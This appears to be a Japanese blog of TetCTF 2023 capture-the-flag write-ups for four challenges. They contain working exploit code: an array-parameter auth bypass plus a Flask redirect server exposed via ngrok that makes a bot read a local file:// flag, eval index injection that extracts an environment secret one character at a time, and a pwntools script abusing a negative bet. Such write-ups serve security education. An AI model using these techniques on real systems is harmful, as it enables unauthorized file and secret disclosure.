TetCTF 2023

TetCTF 2023 Image Services Viewer

Image Services Viewer

775

Chall name:

  • Image Services Viewer

Category:

  • Web

Author:

  • tuo4n8

Description:

  • Do you know secret which on my server!!!!

  • Server: http://139.162.15.7:2023

Material:

  • Binary
  • Note: The binary provided for Image Services Viewer and Admin Lairay Old School challenges are the same.
const isAdmin = (req, res, next) => {
    try {
        if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {
            return res.send("You don't have permission")
        }
        next();
    } catch (error) {
        return res.status(500).send("Oops, something went wrong.");
    }
}
isAdminのpasswordチェックを通すために、passwordは配列で渡す。
POST http://139.162.15.7:2023/api/getImage?password[]=Th!sIsS3xreT0 HTTP/1.1
bot.pyでは、file://が使えるようになっている。LocalFileAdapter は、ローカルマシンに保存されたファイルにアクセスして操作することができるファイルアダプターです。
if __name__ == '__main__':
    try:
        if (len(sys.argv) < 2):
            exit()
        url = sys.argv[1]
        headers = {'user-agent': 'PythonBot/0.0.1'}
        request = requests.session()
        request.mount('file://', LocalFileAdapter())

        # check extentsion
        white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
        vaild_extension = url.endswith(white_list_ext)

        if (vaild_extension):
            # check content-type
            res = request.head(url, headers=headers, timeout=3)
            if ('image' in res.headers.get("Content-type")
                    or 'image' in res.headers.get("content-type")
                    or 'image' in res.headers.get("Content-Type")):
                r = request.get(url, headers=headers, timeout=3)
                print(base64.b64encode(r.content))
pythonでローカルにWebサーバを立てる。メソッドがHEADの時はContent-type:image/pngを返す、GETの時はそれに加えてLocationヘッダを返して、ローカルのflagファイルにリダイレクトさせるレスポンスを返す。
from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/<wildcard>/')
def index(wildcard):
    status = 200
    response = make_response()
    response.headers['content-type'] = 'image/png'
    if request.method=='GET':
        status = 302
        response.headers['Location'] = 'file:///usr/src/app/fl4gg_tetCTF'
    return response, status

if __name__ == '__main__':
    app.debug = True
    app.run(host='127.0.0.1', port=8000)
次に、ローカルに立てたhttpサーバをngrokを使ってインターネットに公開する。
FiddlerでPOSTデータを次のようにする。
url=https://<<ngrok my server>>\@i.ibb.co/?a.png
次のレスポンスが返ってくる。
{"status":true,"data":"VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==\n"}
base64でデコードしてフラグは、
TetCTF{p@rs3_Ur1_s0_m4gIIccccc-W1th_n0deLib+p4ith0n}
Node.jsフレームワーク超入門
掌田津耶乃
秀和システム
2022-05-28

TetCTF 2023 shuffle128

shuffle128

711

Description

A weak version of RC4.

File

https://drive.google.com/file/d/1fRIQeOs8KeniRaH1vVANQUxCoBpAwxqv/view?usp=share_link

Author

@ndh

Outputからフラグの文字数は37文字。
TetCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
先頭7文字と最後の文字は確定、また不明な文字も上位1bitは0で確定している。randomにseed値が与えられているので、shuffledを再現できる。shuffledのうち確定しているbitとoutputより、keyを一部復元できる。またkeyは0~127で上位1bitが0であるため、outputとkeyよりshuffledを求めることができる。
if __name__ == '__main__':
    from secret import FLAG

    random.seed(2023)
    print(sys.version)
    prg = rc4_pseudo_random_generator(rc4_key_scheduling(FLAG))
    for _ in range(64):
        shuffled = shuffle(FLAG)
        key = bytes(next(prg) for _ in range(len(FLAG)))
        print(xor(shuffled, key).hex())
したがって、次のプログラムでフラグを復元することができる。
from bitarray import bitarray  # https://pypi.org/project/bitarray/
import random

output = [
    0x7dfdf6eba4da43bf7ca6eb64d3fbaac5e764b2c8e66e1f2a30e3b9e95b2ef48b28f105cdfc,
    0x3353e19ed6a3ecad7716831b8cc149ad3a1990c8f4682c434d1b7f417e7df9e9ca0743fc3a,
    0x2e15e68721c7773a920d9622cbad21b2d48e00358b1107b300ba19c3a48291dc1579eaf4f4,
    0xe0f6b4e61390ce8d1eab002af797eb022c58a6576ef55c78b917268b9fe4d3f45dfc7d5dc3,
    0xde11f01e825a69e5b1e004db1f79974ca9e42a2b0c0197dcb322f5a0e43cf7ddfdb529699d,
    0x976dbf67bf2f67fd947c69696c5ef5bb9186b8031d279165a5fcd1f6ac9d7f668b847ecfc0,
    0x01f123b89f75d3ab5f744caa4dd892eac598a0b1413cc0abf93509b2bc254a5714fd979f7a,
    0x488b3d4d110f2dca864f6589a58033cc23ca3618db8ce59f398b7b9a6dfd93220e1cd02538,
    0x6b92f7e54e6406b2d7d1176f5604e22cf4c6710ff35fa4cf7d33a7d1855a7f868da8713faa,
    0xf9302dccf5c000ef69c2440fbe22b7eaeb5a95483dda09a0b0414e297ad81fb64fabc60025,
    0xc9b5dcf6031051d3433ddc358f7e18b3f7cec58b37bace17f2fd1e39b1cac64fbfcdbff2aa,
    0xbddac6c00310a5c80cb73d640a1b0592ed5d99984971a085941e7ea8e2fd0e86aaa1b7098f,
    0x2ac7cdeb9e7eeb5abad2b4ed1238de39cb17aa4f4d8827ebd36d4a99acb9fb4e44cd365186,
    0xb38ed3a76f5751faaca88fbae7ef53a6a4baa4f29b4bca0ef782b373969d3df62d9c276d69,
    0x20f40b4267ae37f994dac8fccbb652d29abce709dc9f52223ddebe441899edfb8dc3a31a5d,
    0xc9116855c08f1d04cbe6d86d0e9523c564fd3dd8bb79f7898ea7e624aba832e6530ad1231c,
    0xb388f35a0f2009326bf66170156e57a36eea83285698fcdf2ba1fbbad199dc9d7860158d5e,
    0x1f8c81249a0428cd781494ada971c49e1cd7121af374ecc70d902ad0f4f736e4ef23f61fc9,
    0xb70d877d5ff8c38096faecb1de2df31ce467372c09c66c54b8e122123b539966937bb94d52,
    0x72951dcfda3601c762b4ea5119e40e93bbe7a595a35db985cb990f3bbcc74ddc7157f0baff,
    0xca0532f7df0239d0fe60e9a62852384f6cce737884808134fb1960e84803fb6ddc144df3c9,
    0x78f35e7e26df365e213787a3885ca11c76d14fb998d4a440826b2d8adaa5fe85065c9e9c0d,
    0xf3110f509bd39e5ead882e85ccb31906809a0c29e33a79f0b3229e671dba1353c89968c4a4,
    0x2ac15e7a5dcc821c58ac08d526e5a350ef994bb485fc1c916f59e366e6f7e7ddc76b4a0cae,
    0x381a2afbc6aa95643248d8dd39c44fd7090746af9fa3f3c4f70ba56298d6ca1b36b7d19ec8,
    0xb098dfffe1cd19019ba9c472f6f966964352a958eda8707553021870ba51c9a0b573a59f99,
    0x02578a8b58c1e9c9d5f4321e0b8eb66922905ec2dfd3bf1a6ef583fcce8846243cf6c609d9,
    0x93efb1acf6b268c5a79746a28c64adbbbc81924991e13aa971d64f4087c87650ebb6309daa,
    0x9fcbff37a9919d676e6ce86d9bae8f75376b1a7a76de304c622fe163ea7549a8dcccb095f7,
    0xad25c09cdcc768b53a519daf6f1a0861b4c9530cc9d0cf82fbf7c9f5a9acc2346d611a21d0,
    0x08aee3c019e664d88f3f1147c4f52d33f2f4ab9fea176625f24a14d517a1d59d338e5bf0aa,
    0x479de7e5e8e7841382bb7c9c844f7f8d900979bd360c6d84dc69bd17e7f4ced202afce5964,
    0x65c43c740e68be4ac64c559f09b461904be78fe5f5eaa6f78afb23a1d9c12ecf1d14a287a3,
    0x90063ef6a3b48091f514f1b87dc3ef40942989648043df1dda7d1221c0efea863f69f2fba6,
    0xe4c2976ec29fec9cc3d04ec5f4dde4e282886be0c5ee471ccb8cd201558adb759375c27d78,
    0x1ec9458af0857b6f437ee5d72de707eb6d38df96a830bb53775667f9722a46869e0954b5ad,
    0x5de6f6df232cc29f3fcaac177f323ecfd99732e7559f9d6ffdd706e387bcc23127891be4e1,
    0x7df2884288490b19fd7d20c746508c3ee8e77706c549ba5a07bf9cc183ede90e5cdd6cc59b,
    0x6ebc5d2caff2d0fc8afb538ea990f4289f716375834a67966dc6eba35b7559726826c23bd4,
    0xe6bdfbfe7f094d6ecfdf76433cfc3c64c5041ad8aeaf84ba5c8473b24d836f332e8e41eabe,
    0x6b845fefb8e5fe2253600c137047ee029a1bab28e9b45eda71597169148593938049092ee2,
    0x1172b4a57311da2ff968e1071c4eff0bd22a333cfdc8a6fdef41a4b98f69620152bbeb60b5,
    0x5a788ee6a476eaaa3f581eaebc2589efa640ac37fc5faa4f3591b7db58234dd8fb9743192d,
    0x07d49bf8af3cf3ac77db932a41b81d61736b7e8f5bb656b2a9637f57b7871c1297bf5e3b14,
    0x94d1d09e9c3d024538c4e5fedafbf5aed564d9998dec700647f704115f281efe74aefc0231,
    0xb11b4ff19b77cd69f1881e5401c6e56a9bbf2e88bb443b3340de8d01c4768c6efa34233b35,
    0xdfc7edc0fa6232d7df18717c9dec7631295a035afdeeea7e2dfaec3518e58c8189f65dd52f,
    0x5490e892fca7f4be4312ad69b1eed46e11cb94bf8bafd2ef725e77fd9620ba980fa1d46563,
    0xb9066eb49cb42ecfdcd9f7713e0feddb920043908df127cf35386df3b4bce6fab3c6a3e89f,
    0x8c51507ea79ffb2914436f8c9fa39501d89b8f9446cbe2fcfb0bada4886ff76b20ce1e29f3,
    0x6df94fc313b82da575073aeb54c35e5d3ff0c9dc7032cbffcc92b47b2fead75610d6157bca,
    0xb92cf23e538fc6b3d1c0e28dd81f3c2a58d890bf323da321a39c9fb601caee4bcc1ccc9abd,
    0x0cc0985f966eb484c5f26b9bb8821dabf3b88d3471b55c6351a43fde32428519241a0ddd76,
    0x78cf7e7bf1ffa53812d1c9b47fc23852b2fcd318f7ea21dba12ad3a1d4f38e2ba1a5116aa9,
    0xe35e377f7972b49fbb82a42f90443ca77adb678fa278bf93046c8ec2bc05cb2155d5b506d6,
    0x3bc4ffa6eb16c6da6c40d78b132131092bc8f0696a81e14deca5018daea56c6678befbc1f8,
    0x138d167661180fc7b7c52fa821c518a29d41c5a73aee9969f74b096cff8fca7ead4f5affe9,
    0x3784f8b584545b1ef09aa3815182776966eb9d4758f25ae89550aee3916dce6f40d29c79ee,
    0x09913e8ed1778c95cbac302c86cc4ba5ad8b5fe113c78352d00979e84dcd10c3ecd036fba0,
    0xd1ed85304ea4a3e03233544efb85017c9cd1d3259d959acc0f0dbdaece9ed668d937d52309,
    0xe6b89393cfd0e888c8dce582495d216760eb1a8032103351d15c8033a46aae338a11ac99ee,
    0x92683cb1cb9f24a7925395f54be8b0e520ffd5afbc80c11256e33324bf2509a1c9b64f46dc,
    0x0b7e5204fba4ceec74ee7b35417ecb88fa8a74c6575bb6de8f15f1257b6e02a42e4b56dff0,
    0x49d609e06cb04aa787ebe99d741d4b60b909a00c0de6faecbf4c6d21559495a7c67060625d,
]

from Crypto.Util.number import bytes_to_long, long_to_bytes

if __name__ == '__main__':
    #from secret import FLAG
    FLAG = b"TetCTF{89012345678901234567890123456}"
    bit = [False for _ in range(len(FLAG)*8)]
    for i in range(len("TetCTF{")*8):
        bit[i] = True
    for i in range(8):
        bit[len(FLAG)*8-i-1] = True
    for i in range(0, len(FLAG)*8, 8):
        bit[i] = True
    flag_bit = bitarray()
    flag_bit.frombytes(FLAG)

    test = [i for i in range(len(FLAG)*8)]
    shuffleds = []
    random.seed(2023)
    for _ in range(64):
        test2 = test[:]
        random.shuffle(test2)
        shuffleds.append(test2)

    print(shuffleds)

    for _ in range(2):
        keys = []
        for i in range(64):
            shuffled = shuffleds[i]
            out = bitarray()
            out.frombytes(long_to_bytes(output[i]))
            key = []
            for j in range(len(FLAG)*8):
                s = shuffled[j]
                if bit[s]:
                    k = flag_bit[s] ^ out[j]
                    if j%8==0:
                        assert(k==0)
                    key.append(k)
                else:
                    if j%8==0:
                        k = 0
                        f = out[j] ^ k
                        key.append(k)
                        flag_bit[s] = f
                        bit[s] = True
                    else:
                        key.append(None)
            keys.append(key)
        print(keys)
   
    print(bit)
    print(bytes(flag_bit))
フラグは、
TetCTF{____1nsuff1c13nt_3ntr0py_____}

TetCTF 2023 NewYearBot

NewYearBot

100

Description

New Year New Code! My friend decide to learn code in new year, here his very first website: http://172.105.120.180:9999/

File

He said it is very secure because he is very strict on what user can input, can you check?

https://drive.google.com/file/d/1tU18ePUAHHYpxJ9QhdVKBpuBm_eXy--r/view?usp=sharing

Note

Don't generate excessive load. Scanning/Dirbust is not needed.

Author

@tsug0d

Flaskを使用したWebアプリケーション。フラグを環境変数から読み込んでいる。
from flask import Flask, request
import re, random, os

app = Flask(__name__)
FL4G = os.environ.get('secret_flag')
eval関数を呼び出しているので、typeにFL4G、numberに添え字を指定することで1文字ずつ取得できそう。
        debug = request.args.get("debug")
        if request.method == 'POST':
            greetType = request.form["type"]
            greetNumber = request.form["number"]
            if greetType == "greeting_all":
                greeting = random_greet(random.choice(NewYearCategoryList))
            else:
                try:
                    if greetType != None and greetNumber != None:
                        greetNumber = re.sub(r'\s+', '', greetNumber)
                        if greetType.isidentifier() == True and botValidator(greetNumber) == True:
                            if len("%s[%s]" % (greetType, greetNumber)) > 20:
                                greeting = fail
                            else:
                                greeting = eval("%s[%s]" % (greetType, greetNumber))
                            try:
                                if greeting != fail and debug != None:
                                    greeting += "<br>You're choosing %s, it has %s quotes"%(greetType, len(eval(greetType)))
入力チェックで数字は0~5しか使えないが、()-*~^|などの記号は使える。
def botValidator(s):
    # Number only!
    for c in s:
        if (57 < ord(c) < 123):
            return False
    # The number should only within length of greeting list.
    n = "".join(x for x in re.findall(r'\d+', s))
    if n.isnumeric():
        ev = "max("
        for gl in NewYearCategoryList:
            ev += "len(%s)," % gl
        l = eval(ev[:-1]+")")
        if int(n) > (l-1):
            return False
    return True
Fiddlerを使ってPOSTデータを次のようにいじる。次のように1文字ずつフラグ文字を取得できる。
1
type=FL4G&number=0 #0 T
type=FL4G&number=1 #1 e
type=FL4G&number=2 #2 t
type=FL4G&number=3 #3 C
type=FL4G&number=4 #4 T
type=FL4G&number=5 #5 F
type=FL4G&number=-~0**0*3 #6 {
type=FL4G&number=~(~0**0*4) #7 J
type=FL4G&number=-~0**0*4 #8 u
type=FL4G&number=~(~0**0*5) #9 S
type=FL4G&number=-~0**0*5 #10 t
type=FL4G&number=0**0-~0**0*5 #11 _
type=FL4G&number=~0**0*~0**0*3 #12 F
type=FL4G&number=-(-~0-~0**0*5) #-11=13 0
type=FL4G&number=~0**0*5 #-10=14 r
type=FL4G&number=-~(~0**0*5) #-9=15 F
type=FL4G&number=~0**0*4 #-8=16 u
type=FL4G&number=-~(~0**0*4) #-7=17 n
type=FL4G&number=~0**0*3 #-6=18 n
type=FL4G&number=-5 #-5=19 (
type=FL4G&number=-4 #-4=20 ^
type=FL4G&number=-3 #-3=21 _
type=FL4G&number=-2 #-2=22 ^
type=FL4G&number=-1 #-1=23 }
フラグは、
TetCTF{JuSt_F0rFunn(^_^}

TetCTF 2023 casino

casino

831

Description

Not really crypto...

Service

192.53.115.129:31338

File

https://drive.google.com/file/d/1UfeHQzvoRhCN1nVMokdviybhc7jozPcN/view?usp=share_link

Author

@ndh

ユーザ登録→Bet→Proof表示→フラグ表示の流れ。
Betでは、0~2023の乱数を当てることができれば掛け金が増えるが、逆に掛け金にマイナス値を与えて間違えることで増やすことができる。
したがって、以下のプログラムを実行するとフラグを得ることができる。

from pwn import *
import argparse
import json
import base64

parser
= argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context
.log_level = 'debug'
p = remote('192.53.115.129', 31338)

data = dict()
data['Recipient'] = "Casino"
data['Command'] = "Register"
data['Username'] = "aaa"
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)

data
= dict()
data['Recipient'] = "Casino"
data['Command'] = "ShowBalanceWithProof"
data['Username'] = "aaa"
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)
ret = ret.split(b',')
balance = int(ret[0].strip())
proof = ret[1].strip()
proofData = base64.b64decode(proof)

data
= dict()
data['Recipient'] = "Casino"
data['Command'] = "Bet"
data['Username'] = "aaa"
data["Amount"] = -99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
data["N"] = 1
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)

data
= dict()
data['Recipient'] = "Casino"
data['Command'] = "ShowBalanceWithProof"
data['Username'] = "aaa"
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)
ret = ret.split(b',')
balance = int(ret[0].strip())
proof = ret[1].strip()
proofData = base64.b64decode(proof)

data
= dict()
data['Recipient'] = "FlagSeller"
data['Command'] = "PrintFlag"
data['Username'] = "aaa"
data["Balance"] = balance
data["proof_data"] = proof.decode()
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)

p
.close()

以下は実行結果。
    b'{"Recipient": "Casino", "Command": "Register", "Username": "aaa"}\n'

    b'Added user: aaa.\n'

    b'{"Recipient": "Casino", "Command": "ShowBalanceWithProof", "Username": "aaa"}\n'

    b'2023, GikKA2FhYRIgQPJb1twwnZ8heEnF0bSrB68jO9RSatr+X608MrQ7cmYYAQ==\n'

    b'{"Recipient": "Casino", "Command": "Bet", "Username": "aaa", "Amount": -99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999, "N": 1}\n'        

    b'YOU LOSE (1566 != 1)! Current balance: 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002022 (--99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).\n'

    b'{"Recipient": "Casino", "Command": "ShowBalanceWithProof", "Username": "aaa"}\n'
   
    b'10000002022, GikKA2FhYRIgOohZ458ucROd7O1Ws/ZcaRC0y9NA5Xf4+XlNGn9OTkMYAg==\n'

    b'{"Recipient": "FlagSeller", "Command": "PrintFlag", "Username": "aaa", "Balance": 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002022, "proof_data": "GikKA2FhYRIgJF8T4TuyAYwBc7tMOKcmigommLseeRuY5AFg1FI/WmUYAg=="}\n'

    b'Your flag is: TetCTF{fr0m_n3g4t1v3n3ss_t0_b4nkruptcy}\n'

記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー